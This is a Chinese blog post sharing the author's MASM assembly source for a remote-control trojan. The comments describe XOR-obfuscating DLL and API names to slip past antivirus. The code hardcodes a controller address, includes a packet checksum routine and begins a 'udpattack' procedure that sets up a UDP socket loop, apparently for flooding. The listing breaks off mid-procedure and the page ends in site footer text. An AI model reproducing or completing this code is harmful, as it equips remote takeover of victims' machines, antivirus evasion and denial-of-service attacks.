自己前几天用MASM写的一个远控



最先是在看雪发的  新开空间我也没啥东西 只能拿这个凑数了

;作者:落笔飞花笑百生

;日期:2014/12/20

;用处:练手

;写一个程序虽然很烂但是确实能学到很多,用汇编写程序能逼迫自己去学习以前高级语言中容易忽略的东西虽然还是不够。

;但是至少脱离了只能用别人封装好的库来写程序的恶性循环

;这个程序也没有了写下去的意思,该解决的都解决了我实在想不出来再写他具体能得到什么

;本来想把自己实现的getFUNCaddress加进去的,也没有这样做。

;DLL名称和函数名称由于直接这样写会被某些弱智杀软杀字符串没办法只能xor简单加密一下然后取地址再动态解密一下 这样过了表面

;二次开发的人注意:xor第一个字符不加密的


include androidprotect.inc

.code

dipx byte  "192.168.0.101",0

;dipx byte "anyou5.com",0

ganraoz proc

ret


ganraoz endp

_CalcCheckSum   proc        _lpsz,_dwSize


                    local   @dwSize


 


                    pushad


                    mov     ecx,_dwSize


                shr     ecx,1


                xor     ebx,ebx


                mov     esi,_lpsz


;********************************************************************


; 数据包校验和为每 16 位累加


;********************************************************************


                cld


                @@:


                lodsw


                movzx   eax,ax


                add     ebx,eax


                loop        @B


;********************************************************************


; 最后如果有单 8 位则继续累加


;********************************************************************


                test        _dwSize,1


                jz      @F


                lodsb


                movzx   eax,al


                add     ebx,eax


                @@:


;********************************************************************


; 将高 16 位并入低 16 位后取反输出


;********************************************************************


                mov     eax,ebx


                and     eax,0ffffh


                shr     ebx,16


                add     eax,ebx


                not     ax


                mov     @dwSize,eax


                popad


                mov     eax,@dwSize


                ret


 


_CalcCheckSum   endp

udpattack proc

invoke m_socket,AF_INET, SOCK_DGRAM, 17

mov udpsock,eax

mov udpSin.sin_family, AF_INET  

invoke gethtons,udpport

mov udpSin.sin_port,ax  

invoke m_gethostbyname,offset udpip

mov eax,[eax+12]

mov eax,[eax]

mov eax,[eax]

invoke m_inet_ntoa,eax

invoke m_inet_addr,eax

mov udpSin.sin_addr.S_un.S_addr,eax

invoke m_setsockopt,udpsock,SOL_SOCKET,SO_SNDBUF,offset udpbuf,sizeof udpbuf

.while byte ptr [uptrue]==1

invoke GetTickCount

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值